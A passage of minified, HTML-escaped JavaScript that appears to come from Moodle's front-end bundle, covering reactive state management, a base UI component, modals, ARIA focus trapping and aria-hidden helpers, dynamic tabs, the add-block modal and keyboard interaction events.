   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_log=_interopRequireDefault(_log),_statemanager=_interopRequireDefault(_statemanager),_pending=_interopRequireDefault(_pending);let pendingCount=0;return _exports.default=class{constructor(description){var _description$target,_description$mutation;if(void 0===description.eventName||void 0===description.eventDispatch)throw new Error(&quot;Reactivity event required&quot;);void 0!==description.name&amp;&amp;(this.name=description.name),this.target=null!==(_description$target=description.target)&amp;&amp;void 0!==_description$target?_description$target:document.createTextNode(null),this.eventName=description.eventName,this.eventDispatch=description.eventDispatch,this.stateManager=new _statemanager.default(this.eventDispatch,this.target),this.watchers=new Map([]),this.components=new Set([]),this.mutations=null!==(_description$mutation=description.mutations)&amp;&amp;void 0!==_description$mutation?_description$mutation:{},this.target.addEventListener(this.eventName,this.callWatchersHandler.bind(this)),this.pendingState=new _pending.default(&quot;core/reactive:registerInstance&quot;.concat(pendingCount++)),void 0!==description.state&amp;&amp;this.setInitialState(description.state),void 0!==M.reactive&amp;&amp;M.reactive.registerNewInstance(this)}callWatchersHandler(event){this.target.dispatchEvent(new CustomEvent(event.detail.action,{bubbles:!1,detail:event.detail}))}setInitialState(stateData){this.pendingState.resolve(),this.stateManager.setInitialState(stateData)}addMutations(newFunctions){void 0!==newFunctions.init&amp;&amp;newFunctions.init(this.stateManager);for(const[mutation,mutationFunction]of Object.entries(newFunctions))this.mutations[mutation]=mutationFunction.bind(newFunctions)}setMutations(manager){this.mutations=manager,void 0!==manager.init&amp;&amp;manager.init(this.stateManager)}get state(){return this.stateManager.state}get(name,id){return this.stateManager.get(name,id)}getInitialStatePromise(){return this.stateManager.getInitialPromise()}registerComponent(component){var _component$name;const componentName=null!==(_component$name=component.name)&amp;&amp;void 0!==_component$name?_component$name:&quot;Unkown component&quot;;let dispatchSuccess=()=&gt;{},dispatchFail=dispatchSuccess;if(void 0!==component.dispatchRegistrationSuccess&amp;&amp;(dispatchSuccess=component.dispatchRegistrationSuccess.bind(component)),void 0!==component.dispatchRegistrationFail&amp;&amp;(dispatchFail=component.dispatchRegistrationFail.bind(component)),this.components.has(component))return dispatchSuccess(),component;const pendingPromise=new _pending.default(&quot;core/reactive:registerComponent&quot;.concat(pendingCount++));let listeners=[],handlers=[];return void 0!==component.getWatchers&amp;&amp;(handlers=component.getWatchers()),handlers.forEach((_ref=&gt;{let{watch:watch,handler:handler}=_ref;if(void 0===watch)throw dispatchFail(),new Error(&quot;Missing watch attribute in &quot;.concat(componentName,&quot; watcher&quot;));if(void 0===handler)throw dispatchFail(),new Error(&quot;Missing handler for watcher &quot;.concat(watch,&quot; in &quot;).concat(componentName));const listener=event=&gt;{const currentFocus=document.activeElement;handler.apply(component,[event.detail]),document.activeElement===document.body&amp;&amp;document.body.contains(currentFocus)&amp;&amp;currentFocus.focus()};listeners.push({target:this.target,watch:watch,listener:listener}),this.target.addEventListener(watch,listener)})),void 0!==component.stateReady&amp;&amp;this.getInitialStatePromise().then((state=&gt;(component.stateReady(state),pendingPromise.resolve(),!0))).catch((reason=&gt;{pendingPromise.resolve(),_log.default.error(&quot;Initial state in &quot;.concat(componentName,&quot; rejected due to: &quot;).concat(reason)),_log.default.error(reason)})),this.watchers.set(component,listeners),this.components.add(component),this.target.dispatchEvent(new CustomEvent(&quot;registerComponent:success&quot;,{bubbles:!1,detail:{component:component}})),dispatchSuccess(),component}unregisterComponent(component){if(!this.components.has(component))return component;this.components.delete(component);const listeners=this.watchers.get(component);return void 0===listeners||(listeners.forEach((_ref2=&gt;{let{target:target,watch:watch,listener:listener}=_ref2;target.removeEventListener(watch,listener)})),this.watchers.delete(component)),component}async dispatch(actionName){if(&quot;string&quot;!=typeof actionName)throw new Error(&quot;Dispatch action name must be a string&quot;);if(&quot;_&quot;===actionName.charAt(0))throw new Error(&quot;Illegal Private &quot;.concat(actionName,&quot; mutation method dispatch&quot;));if(void 0===this.mutations[actionName])throw new Error(&quot;Unkown &quot;.concat(actionName,&quot; mutation&quot;));const pendingPromise=new _pending.default(&quot;core/reactive:&quot;.concat(actionName).concat(pendingCount++)),mutationFunction=this.mutations[actionName];try{for(var _len=arguments.length,params=new Array(_len&gt;1?_len-1:0),_key=1;_key&lt;_len;_key++)params[_key-1]=arguments[_key];await mutationFunction.apply(this.mutations,[this.stateManager,...params]),pendingPromise.resolve()}catch(error){throw this.stateManager.setReadOnly(!0),pendingPromise.resolve(),error}}},_exports.default}));
define(&quot;core/local/reactive/basecomponent&quot;,[&quot;exports&quot;,&quot;core/templates&quot;],(function(_exports,_templates){var obj;
/**
   * Reactive UI component base class.
   *
   * Each UI reactive component should extend this class to interact with a reactive state.
   *
   * @module     core/local/reactive/basecomponent
   * @class     core/local/reactive/basecomponent
   * @copyright  2020 Ferran Recio &lt;ferran@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_templates=(obj=_templates)&amp;&amp;obj.__esModule?obj:{default:obj};return _exports.default=class{constructor(descriptor){if(void 0===descriptor.element||!(descriptor.element instanceof HTMLElement))throw Error(&quot;Reactive components needs a main DOM element to dispatch events&quot;);this.element=descriptor.element,this.eventHandlers=new Map([]),this.eventListeners=[],this.selectors={},this.events=this.constructor.getEvents(),this.create(descriptor),void 0!==descriptor.selectors&amp;&amp;this.addSelectors(descriptor.selectors),void 0===descriptor.reactive?this.element.dispatchEvent(new CustomEvent(&quot;core/reactive:requestRegistration&quot;,{bubbles:!0,detail:{component:this}})):(this.reactive=descriptor.reactive,this.reactive.registerComponent(this),this.addEventListener(this.element,&quot;core/reactive:requestRegistration&quot;,(event=&gt;{var _event$detail;null!=event&amp;&amp;null!==(_event$detail=event.detail)&amp;&amp;void 0!==_event$detail&amp;&amp;_event$detail.component&amp;&amp;(event.stopPropagation(),this.registerChildComponent(event.detail.component))})))}static getEvents(){return{}}create(descriptor){}destroy(){}getWatchers(){return[]}stateReady(){}getElement(query,dataId){if(void 0===query&amp;&amp;void 0===dataId)return this.element;const dataSelector=dataId?&quot;[data-id=&#039;&quot;.concat(dataId,&quot;&#039;]&quot;):&quot;&quot;,selector=&quot;&quot;.concat(null!=query?query:&quot;&quot;).concat(dataSelector);return this.element.querySelector(selector)}getElements(query,dataId){const dataSelector=dataId?&quot;[data-id=&#039;&quot;.concat(dataId,&quot;&#039;]&quot;):&quot;&quot;,selector=&quot;&quot;.concat(null!=query?query:&quot;&quot;).concat(dataSelector);return this.element.querySelectorAll(selector)}addSelectors(newSelectors){for(const[selectorName,selector]of Object.entries(newSelectors))this.selectors[selectorName]=selector}getSelector(selectorName){return this.selectors[selectorName]}dispatchEvent(eventName,detail){this.element.dispatchEvent(new CustomEvent(eventName,{bubbles:!0,detail:detail}))}renderComponent(target,file,data){return new Promise(((resolve,reject)=&gt;{target.addEventListener(&quot;ComponentRegistration:Success&quot;,(_ref=&gt;{let{detail:detail}=_ref;resolve(detail.component)})),target.addEventListener(&quot;ComponentRegistration:Fail&quot;,(()=&gt;{reject(&quot;Registration of &quot;.concat(file,&quot; fails.&quot;))})),_templates.default.renderForPromise(file,data).then((_ref2=&gt;{let{html:html,js:js}=_ref2;return _templates.default.replaceNodeContents(target,html,js),!0})).catch((error=&gt;{throw reject(&quot;Rendering of &quot;.concat(file,&quot; throws an error.&quot;)),error}))}))}addEventListener(target,type,listener){let bindListener=this.eventHandlers.get(listener);void 0===bindListener&amp;&amp;(bindListener=listener.bind(this),this.eventHandlers.set(listener,bindListener)),target.addEventListener(type,bindListener),this.eventListeners.push({target:target,type:type,bindListener:bindListener})}removeEventListener(target,type,listener){let bindListener=this.eventHandlers.get(listener);void 0!==bindListener&amp;&amp;target.removeEventListener(type,bindListener)}removeAllEventListeners(){this.eventListeners.forEach((_ref3=&gt;{let{target:target,type:type,bindListener:bindListener}=_ref3;target.removeEventListener(type,bindListener)})),this.eventListeners=[]}remove(){this.unregister(),this.element.remove()}unregister(){this.reactive.unregisterComponent(this),this.removeAllEventListeners(),this.destroy()}dispatchRegistrationSuccess(){void 0!==this.element.parentNode&amp;&amp;this.element.parentNode.dispatchEvent(new CustomEvent(&quot;ComponentRegistration:Success&quot;,{bubbles:!1,detail:{component:this}}))}dispatchRegistrationFail(){void 0!==this.element.parentNode&amp;&amp;this.element.parentNode.dispatchEvent(new CustomEvent(&quot;ComponentRegistration:Fail&quot;,{bubbles:!1,detail:{component:this}}))}registerChildComponent(component){component.reactive=this.reactive,this.reactive.registerComponent(component)}set locked(locked){this.setElementLocked(this.element,locked)}get locked(){return this.getElementLocked(this.element)}setElementLocked(target,locked){target.dataset.locked=null!=locked&amp;&amp;locked,locked?(target.style.pointerEvents=&quot;none&quot;,target.style.userSelect=&quot;none&quot;,target.hasAttribute(&quot;draggable&quot;)&amp;&amp;target.setAttribute(&quot;draggable&quot;,!1),target.setAttribute(&quot;aria-busy&quot;,!0)):(target.style.pointerEvents=null,target.style.userSelect=null,target.hasAttribute(&quot;draggable&quot;)&amp;&amp;target.setAttribute(&quot;draggable&quot;,!0),target.setAttribute(&quot;aria-busy&quot;,!1))}getElementLocked(target){var _target$dataset$locke;return null!==(_target$dataset$locke=target.dataset.locked)&amp;&amp;void 0!==_target$dataset$locke&amp;&amp;_target$dataset$locke}},_exports.default}));
define(&quot;core/local/modal/alert&quot;,[&quot;exports&quot;,&quot;core/modal&quot;],(function(_exports,_modal){var obj;
/**
   * Alert modal.
   *
   * @module     core/modal_alert
   * @copyright  2020 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_modal=(obj=_modal)&amp;&amp;obj.__esModule?obj:{default:obj};class _default extends _modal.default{registerEventListeners(){super.registerEventListeners(),this.registerCloseOnCancel()}}return _exports.default=_default,_exports.default}));
define(&quot;core/local/aria/focuslock&quot;,[&quot;exports&quot;,&quot;./selectors&quot;],(function(_exports,_selectors){var obj;
/**
   * Tab locking system.
   *
   * This is based on code and examples provided in the ARIA specification.
   * https://www.w3.org/TR/wai-aria-practices/examples/dialog-modal/dialog.html
   *
   * @module     core/tablock
   * @copyright  2019 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.untrapFocus=_exports.trapFocus=void 0,_selectors=(obj=_selectors)&amp;&amp;obj.__esModule?obj:{default:obj};const lockRegionStack=[],initialFocusElementStack=[],finalFocusElementStack=[];let lastFocus=null,ignoreFocusChanges=!1,isLocked=!1;const lockHandler=event=&gt;{if(ignoreFocusChanges)return;const lockRegion=getCurrentLockRegion();lockRegion.parentNode||untrapFocus(),lockRegion.contains(event.target)?lastFocus=event.target:(focusFirstDescendant(),lastFocus==document.activeElement&amp;&amp;focusLastDescendant(),lastFocus=document.activeElement)},focusFirstDescendant=()=&gt;{const lockRegion=getCurrentLockRegion(),focusableElements=Array.from(lockRegion.querySelectorAll(_selectors.default.elements.focusable));return focusableElements.unshift(lockRegion),focusableElements.some((focusableElement=&gt;attemptFocus(focusableElement)))},focusLastDescendant=()=&gt;{const lockRegion=getCurrentLockRegion(),focusableElements=Array.from(lockRegion.querySelectorAll(_selectors.default.elements.focusable)).reverse();return focusableElements.push(lockRegion),focusableElements.some((focusableElement=&gt;attemptFocus(focusableElement)))},attemptFocus=focusTarget=&gt;{if(!(focusTarget=&gt;{if(focusTarget.tabIndex&gt;0||0===focusTarget.tabIndex&amp;&amp;null!==focusTarget.getAttribute(&quot;tabIndex&quot;))return!0;if(focusTarget.disabled)return!1;switch(focusTarget.nodeName){case&quot;A&quot;:return!!focusTarget.href&amp;&amp;&quot;ignore&quot;!=focusTarget.rel;case&quot;INPUT&quot;:return&quot;hidden&quot;!=focusTarget.type&amp;&amp;&quot;file&quot;!=focusTarget.type;case&quot;BUTTON&quot;:case&quot;SELECT&quot;:case&quot;TEXTAREA&quot;:return!0;default:return!1}})(focusTarget))return!1;ignoreFocusChanges=!0;try{focusTarget.focus()}catch(e){}return ignoreFocusChanges=!1,document.activeElement===focusTarget},getCurrentLockRegion=()=&gt;lockRegionStack[lockRegionStack.length-1];_exports.trapFocus=newLockRegion=&gt;{if((newLockRegion=&gt;{if(newLockRegion===getCurrentLockRegion())return;lockRegionStack.push(newLockRegion);const currentLockRegion=getCurrentLockRegion(),element=document.createElement(&quot;div&quot;);element.tabIndex=0,element.style.position=&quot;fixed&quot;,element.style.top=0,element.style.left=0;const initialNode=element.cloneNode();currentLockRegion.parentNode.insertBefore(initialNode,currentLockRegion),initialFocusElementStack.push(initialNode);const finalNode=element.cloneNode();currentLockRegion.parentNode.insertBefore(finalNode,currentLockRegion.nextSibling),finalFocusElementStack.push(finalNode)})(newLockRegion),isLocked||document.addEventListener(&quot;focus&quot;,lockHandler,!0),!focusFirstDescendant()){const currentLockRegion=getCurrentLockRegion(),originalRegionTabIndex=currentLockRegion.tabIndex;currentLockRegion.tabIndex=0,attemptFocus(currentLockRegion),currentLockRegion.tabIndex=originalRegionTabIndex}lastFocus=document.activeElement,isLocked=!0};const untrapFocus=()=&gt;{(()=&gt;{lockRegionStack.pop();const finalNode=finalFocusElementStack.pop();finalNode&amp;&amp;finalNode.remove();const initialNode=initialFocusElementStack.pop();initialNode&amp;&amp;initialNode.remove()})(),lockRegionStack.length||(document.removeEventListener(&quot;focus&quot;,lockHandler,!0),lastFocus=null,ignoreFocusChanges=!1,isLocked=!1)};_exports.untrapFocus=untrapFocus}));
define(&quot;core/local/aria/selectors&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0;return _exports.default={aria:{hidden:&quot;[aria-hidden]&quot;},elements:{focusable:&#039;input:not([type=&quot;hidden&quot;]), a[href], button, textarea, select, [tabindex]&#039;,focusableToUnhide:&quot;[data-aria-hidden-tab-index]&quot;}},_exports.default}));
define(&quot;core/local/aria/aria-hidden&quot;,[&quot;exports&quot;,&quot;core/normalise&quot;,&quot;./selectors&quot;],(function(_exports,_normalise,_selectors){var obj;
/**
   * ARIA helpers related to the aria-hidden attribute.
   *
   * @module     core/local/aria/aria-hidden.
   * @copyright  2020 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.unhideSiblings=_exports.unhide=_exports.hideSiblings=_exports.hide=void 0,_selectors=(obj=_selectors)&amp;&amp;obj.__esModule?obj:{default:obj};const childObserverMap=new Map,siblingObserverMap=new Map,supportsMutationObservers=()=&gt;MutationObserver&amp;&amp;&quot;function&quot;==typeof MutationObserver,disableElementFocusability=target=&gt;{target instanceof HTMLElement&amp;&amp;(target.matches(_selectors.default.elements.focusable)&amp;&amp;disableAndStoreTabIndex(target),target.querySelectorAll(_selectors.default.elements.focusable).forEach(disableAndStoreTabIndex))},disableAndStoreTabIndex=element=&gt;{void 0===element.dataset.ariaHiddenTabIndex&amp;&amp;(element.getAttribute(&quot;tabindex&quot;)?element.dataset.ariaHiddenTabIndex=element.getAttribute(&quot;tabindex&quot;):element.dataset.ariaHiddenTabIndex=&quot;&quot;,element.setAttribute(&quot;tabindex&quot;,-1))},restoreTabIndex=element=&gt;{if(element.closest(_selectors.default.aria.hidden))return;const oldTabIndex=element.dataset.ariaHiddenTabIndex;&quot;&quot;===oldTabIndex?element.removeAttribute(&quot;tabindex&quot;):element.setAttribute(&quot;tabindex&quot;,oldTabIndex),delete element.dataset.ariaHiddenTabIndex},hide=target=&gt;(0,_normalise.getList)(target).forEach(_hide);_exports.hide=hide;const _hide=target=&gt;{if(target instanceof HTMLElement&amp;&amp;!target.closest(_selectors.default.aria.hidden)&amp;&amp;(target.setAttribute(&quot;aria-hidden&quot;,!0),disableElementFocusability(target),supportsMutationObservers())){const mutationObserver=new MutationObserver((mutationList=&gt;{mutationList.forEach((mutation=&gt;{if(&quot;childList&quot;===mutation.type)mutation.addedNodes.forEach(disableElementFocusability);else if(&quot;attributes&quot;===mutation.type){const element=mutation.target,proposedTabIndex=element.getAttribute(&quot;tabindex&quot;);&quot;-1&quot;!==proposedTabIndex&amp;&amp;(element.dataset.ariaHiddenTabIndex=proposedTabIndex,element.setAttribute(&quot;tabindex&quot;,-1))}}))}));mutationObserver.observe(target,{subtree:!0,childList:!0,attributes:!0,attributeFilter:[&quot;tabindex&quot;]}),childObserverMap.set(target,mutationObserver)}},unhide=target=&gt;(0,_normalise.getList)(target).forEach(_unhide);_exports.unhide=unhide;const _unhide=target=&gt;{target instanceof HTMLElement&amp;&amp;(target.removeAttribute(&quot;aria-hidden&quot;),(target=&gt;{target instanceof HTMLElement&amp;&amp;(target.matches(_selectors.default.elements.focusableToUnhide)&amp;&amp;restoreTabIndex(target),target.querySelectorAll(_selectors.default.elements.focusableToUnhide).forEach(restoreTabIndex))})(target),childObserverMap.has(target)&amp;&amp;(childObserverMap.get(target).disconnect(),childObserverMap.delete(target)))};_exports.hideSiblings=target=&gt;(0,_normalise.getList)(target).forEach(_hideSiblings);const _hideSiblings=target=&gt;{if(target instanceof HTMLElement&amp;&amp;target.parentElement&amp;&amp;(target.parentElement.childNodes.forEach((node=&gt;{node!==target&amp;&amp;hide(node)})),supportsMutationObservers())){const newNodeObserver=new MutationObserver((mutationList=&gt;{mutationList.forEach((mutation=&gt;{mutation.addedNodes.forEach((node=&gt;{target.contains(node)||hide(node)}))}))}));newNodeObserver.observe(target.parentElement,{childList:!0,subtree:!0}),siblingObserverMap.set(target.parentElement,newNodeObserver)}};_exports.unhideSiblings=target=&gt;(0,_normalise.getList)(target).forEach(_unhideSiblings);const _unhideSiblings=target=&gt;{target instanceof HTMLElement&amp;&amp;target.parentElement&amp;&amp;(target.parentElement.childNodes.forEach((node=&gt;{node!==target&amp;&amp;unhide(node)})),siblingObserverMap.has(target.parentElement)&amp;&amp;(siblingObserverMap.get(target.parentElement).disconnect(),siblingObserverMap.delete(target.parentElement)))}}));
define(&quot;core/local/repository/dynamic_tabs&quot;,[&quot;exports&quot;,&quot;core/ajax&quot;],(function(_exports,_ajax){var obj;
/**
   * Module to handle dynamic tabs AJAX requests
   *
   * @module      core/local/repository/dynamic_tabs
   * @copyright   2021 David Matamoros &lt;davidmc@moodle.com&gt;
   * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.getContent=void 0,_ajax=(obj=_ajax)&amp;&amp;obj.__esModule?obj:{default:obj};_exports.getContent=(tab,jsondata)=&gt;{const request={methodname:&quot;core_dynamic_tabs_get_content&quot;,args:{tab:tab,jsondata:jsondata}};return _ajax.default.call([request])[0]}}));
define(&quot;core/addblockmodal&quot;,[&quot;exports&quot;,&quot;core/modal_factory&quot;,&quot;core/templates&quot;,&quot;core/str&quot;,&quot;core/ajax&quot;],(function(_exports,_modal_factory,_templates,_str,_ajax){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Show an add block modal instead of doing it on a separate page.
   *
   * @module     core/addblockmodal
   * @copyright  2016 Damyon Wiese &lt;damyon@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_modal_factory=_interopRequireDefault(_modal_factory),_templates=_interopRequireDefault(_templates),_ajax=_interopRequireDefault(_ajax);const SELECTORS_ADD_BLOCK=&#039;[data-key=&quot;addblock&quot;]&#039;;let listenerEventsRegistered=!1;const registerListenerEvents=(pageType,pageLayout,addBlockUrl,subPage)=&gt;{document.addEventListener(&quot;click&quot;,(e=&gt;{const addBlock=e.target.closest(SELECTORS_ADD_BLOCK);if(addBlock){e.preventDefault();let addBlockModal=null,addBlockModalUrl=null!=addBlockUrl?addBlockUrl:addBlock.dataset.url;buildAddBlockModal().then((modal=&gt;{addBlockModal=modal;const modalBody=renderBlocks(addBlockModalUrl,pageType,pageLayout,subPage);return modal.setBody(modalBody),modal.show(),modalBody})).catch((()=&gt;{addBlockModal.destroy()}))}}))},buildAddBlockModal=()=&gt;_modal_factory.default.create({type:_modal_factory.default.types.CANCEL,title:(0,_str.get_string)(&quot;addblock&quot;)}),renderBlocks=async(addBlockUrl,pageType,pageLayout,subPage)=&gt;{const blocks=await getAddableBlocks(pageType,pageLayout,subPage);return _templates.default.render(&quot;core/add_block_body&quot;,{blocks:blocks,url:addBlockUrl})},getAddableBlocks=async(pageType,pageLayout,subPage)=&gt;{const request={methodname:&quot;core_block_fetch_addable_blocks&quot;,args:{pagecontextid:M.cfg.contextid,pagetype:pageType,pagelayout:pageLayout,subpage:subPage}};return _ajax.default.call([request])[0]};_exports.init=function(pageType,pageLayout){let addBlockUrl=arguments.length&gt;2&amp;&amp;void 0!==arguments[2]?arguments[2]:null,subPage=arguments.length&gt;3&amp;&amp;void 0!==arguments[3]?arguments[3]:&quot;&quot;;listenerEventsRegistered||(registerListenerEvents(pageType,pageLayout,addBlockUrl,subPage),listenerEventsRegistered=!0)}}));
/**
 * This module provides a wrapper to encapsulate a lot of the common combinations of
 * user interaction we use in Moodle.
 *
 * @module     core/custom_interaction_events
 * @copyright  2016 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.2
 */
define(&quot;core/custom_interaction_events&quot;,[&quot;jquery&quot;,&quot;core/key_codes&quot;],(function($,keyCodes){var events={activate:&quot;cie:activate&quot;,keyboardActivate:&quot;cie:keyboardactivate&quot;,escape:&quot;cie:escape&quot;,down:&quot;cie:down&quot;,up:&quot;cie:up&quot;,home:&quot;cie:home&quot;,end:&quot;cie:end&quot;,next:&quot;cie:next&quot;,previous:&quot;cie:previous&quot;,asterix:&quot;cie:asterix&quot;,scrollLock:&quot;cie:scrollLock&quot;,scrollTop:&quot;cie:scrollTop&quot;,scrollBottom:&quot;cie:scrollBottom&quot;,ctrlPageUp:&quot;cie:ctrlPageUp&quot;,ctrlPageDown:&quot;cie:ctrlPageDown&quot;,enter:&quot;cie:enter&quot;,accessibleChange:&quot;cie:accessibleChange&quot;},triggeredEvents={},isModifierPressed=function(e){return e.shiftKey||e.metaKey||e.altKey||e.ctrlKey},triggerEvent=function(eventName,e){var eventTypeKey=&quot;&quot;;return e.hasOwnProperty(&quot;originalEvent&quot;)?(eventTypeKey=&quot;triggeredCustom_&quot;+eventName,e.originalEvent.hasOwnProperty(eventTypeKey)?void 0:(e.originalEvent[eventTypeKey]=!0,void $(e.target).trigger(eventName,[{originalEvent:e}]))):(eventTypeKey=&quot;&quot;+eventName+e.type+e.timeStamp,void(triggeredEvents.hasOwnProperty(eventTypeKey)||(triggeredEvents[eventTypeKey]=!0,$(e.target).trigger(eventName,[{originalEvent:e}]))))},addKeyboardEvent=function(element,event,keyCode){element.off(&quot;keydown.&quot;+event).on(&quot;keydown.&quot;+event,(function(e){isModifierPressed(e)||e.keyCode==keyCode&amp;&amp;triggerEvent(event,e)}))},addActivateListener=function(element){element.off(&quot;click.cie.activate&quot;).on(&quot;click.cie.activate&quot;,(function(e){triggerEvent(events.activate,e)})),element.off(&quot;keydown.cie.activate&quot;).on(&quot;keydown.cie.activate&quot;,(function(e){isModifierPressed(e)||e.keyCode!=keyCodes.enter&amp;&amp;e.keyCode!=keyCodes.space||triggerEvent(events.activate,e)}))},addKeyboardActivateListener=function(element){element.off(&quot;keydown.cie.keyboardactivate&quot;).on(&quot;keydown.cie.keyboardactivate&quot;,(function(e){isModifierPressed(e)||e.keyCode!=keyCodes.enter&amp;&amp;e.keyCode!=keyCodes.space||triggerEvent(events.keyboardActivate,e)}))},addEscapeListener=function(element){addKeyboardEvent(element,events.escape,keyCodes.escape)},addDownListener=function(element){addKeyboardEvent(element,events.down,keyCodes.arrowDown)},addUpListener=function(element){addKeyboardEvent(element,events.up,keyCodes.arrowUp)},addHomeListener=function(element){addKeyboardEvent(element,events.home,keyCodes.home)},addEndListener=function(element){addKeyboardEvent(element,events.end,keyCodes.end)},addNextListener=function(element){var keyCode=&quot;rtl&quot;==$(&quot;html&quot;).attr(&quot;dir&quot;)?keyCodes.arrowLeft:keyCodes.arrowRight;addKeyboardEvent(element,events.next,keyCode)},addPreviousListener=function(element){var keyCode=&quot;rtl&quot;==$(&quot;html&quot;).attr(&quot;dir&quot;)?keyCodes.arrowRight:keyCodes.arrowLeft;addKeyboardEvent(element,events.previous,keyCode)},addAsterixListener=function(element){addKeyboardEvent(element,events.asterix,keyCodes.asterix)},addScrollTopListener=function(element){element.off(&quot;scroll.cie.scrollTop&quot;).on(&quot;scroll.cie.scrollTop&quot;,(function(e){0===element.scrollTop()&amp;&amp;triggerEvent(events.scrollTop,e)}))},addScrollBottomListener=function(element){element.off(&quot;scroll.cie.scrollBottom&quot;).on(&quot;scroll.cie.scrollBottom&quot;,(function(e){element.scrollTop()+element.innerHeight()&gt;=element[0].scrollHeight&amp;&amp;triggerEvent(events.scrollBottom,e)}))},addScrollLockListener=function(element){element.off(&quot;DOMMouseScroll.cie.DOMMouseScrollLock mousewheel.cie.mousewheelLock&quot;).on(&quot;DOMMouseScroll.cie.DOMMouseScrollLock mousewheel.cie.mousewheelLock&quot;,(function(e){var scrollTop=element.scrollTop(),scrollHeight=element[0].scrollHeight,height=element.height(),delta=&quot;DOMMouseScroll&quot;==e.type?-40*e.originalEvent.detail:e.originalEvent.wheelDelta,up=delta&gt;0;return!up&amp;&amp;-delta&gt;scrollHeight-height-scrollTop?(element.scrollTop(scrollHeight),e.stopPropagation(),e.preventDefault(),e.returnValue=!1,triggerEvent(events.scrollLock,e),!1):!(up&amp;&amp;delta&gt;scrollTop)||(element.scrollTop(0),e.stopPropagation(),e.preventDefault(),e.returnValue=!1,triggerEvent(events.scrollLock,e),!1)}))},addCtrlPageUpListener=function(element){element.off(&quot;keydown.cie.ctrlpageup&quot;).on(&quot;keydown.cie.ctrlpageup&quot;,(function(e){e.ctrlKey&amp;&amp;e.keyCode==keyCodes.pageUp&amp;&amp;triggerEvent(events.ctrlPageUp,e)}))},addCtrlPageDownListener=function(element){element.off(&quot;keydown.cie.ctrlpagedown&quot;).on(&quot;keydown.cie.ctrlpagedown&quot;,(function(e){e.ctrlKey&amp;&amp;e.keyCode==keyCodes.pageDown&amp;&amp;triggerEvent(events.ctrlPageDown,e)}))},addEnterListener=function(element){addKeyboardEvent(element,events.enter,keyCodes.enter)},addAccessibleChangeListener=function(element){var onMac=-1!==navigator.userAgent.indexOf(&quot;Macintosh&quot;),touchEnabled=&quot;ontouchstart&quot;in window||&quot;msMaxTouchPoints&quot;in navigator&amp;&amp;navigator.msMaxTouchPoints&gt;0;if(onMac||touchEnabled)element.on(&quot;change&quot;,(function(e){triggerEvent(events.accessibleChange,e)}));else{var checkAndTriggerAccessibleChange=function(e){&quot;initValue&quot;in e.target.dataset&amp;&amp;e.target.value!==e.target.dataset.initValue&amp;&amp;(e.target.dataset.initValue=e.target.value,triggerEvent(events.accessibleChange,e))},nativeElement=element.get()[0];nativeElement.addEventListener(&quot;focus&quot;,(function(e){var target;(target=e.target).dataset.initValue=target.value}),!0),nativeElement.addEventListener(&quot;blur&quot;,(function(e){checkAndTriggerAccessibleChange(e)}),!0),element.on(&quot;keydown&quot;,(function(e){var target;e.which===keyCodes.enter?checkAndTriggerAccessibleChange(e):e.which===keyCodes.escape?(&quot;initValue&quot;in(target=e.target).dataset&amp;&amp;(target.value=target.dataset.initValue),e.target.dataset.ignoreChange=!0):e.target.dataset.ignoreChange=!0})),element.on(&quot;change&quot;,(function(e){e.target.dataset.ignoreChange||checkAndTriggerAccessibleChange(e)})),element.on(&quot;keyup&quot;,(function(e){delete e.target.dataset.ignoreChange})),element.on(&quot;click&quot;,(function(e){checkAndTriggerAccessibleChange(e)}))}};return{define:function(element,include){var handlers;(element=$(element),include=include||[],element.length&amp;&amp;include.length)&amp;&amp;$.each(((handlers={})[events.activate]=addActivateListener,handlers[events.keyboardActivate]=addKeyboardActivateListener,handlers[events.escape]=addEscapeListener,handlers[events.down]=addDownListener,handlers[events.up]=addUpListener,handlers[events.home]=addHomeListener,handlers[events.end]=addEndListener,handlers[events.next]=addNextListener,handlers[events.previous]=addPreviousListener,handlers[events.asterix]=addAsterixListener,handlers[events.scrollLock]=addScrollLockListener,handlers[events.scrollTop]=addScrollTopListener,handlers[events.scrollBottom]=addScrollBottomListener,handlers[events.ctrlPageUp]=addCtrlPageUpListener,handlers[events.ctrlPageDown]=addCtrlPageDownListener,handlers[events.enter]=addEnterListener,handlers[events.accessibleChange]=addAccessibleChangeListener,handlers),(function(eventType,handler){(function(eventType,include){return!(!(include=include||[]).length||-1===include.indexOf(eventType))})(eventType,include)&amp;&amp;handler(element)}))},events:events}}));
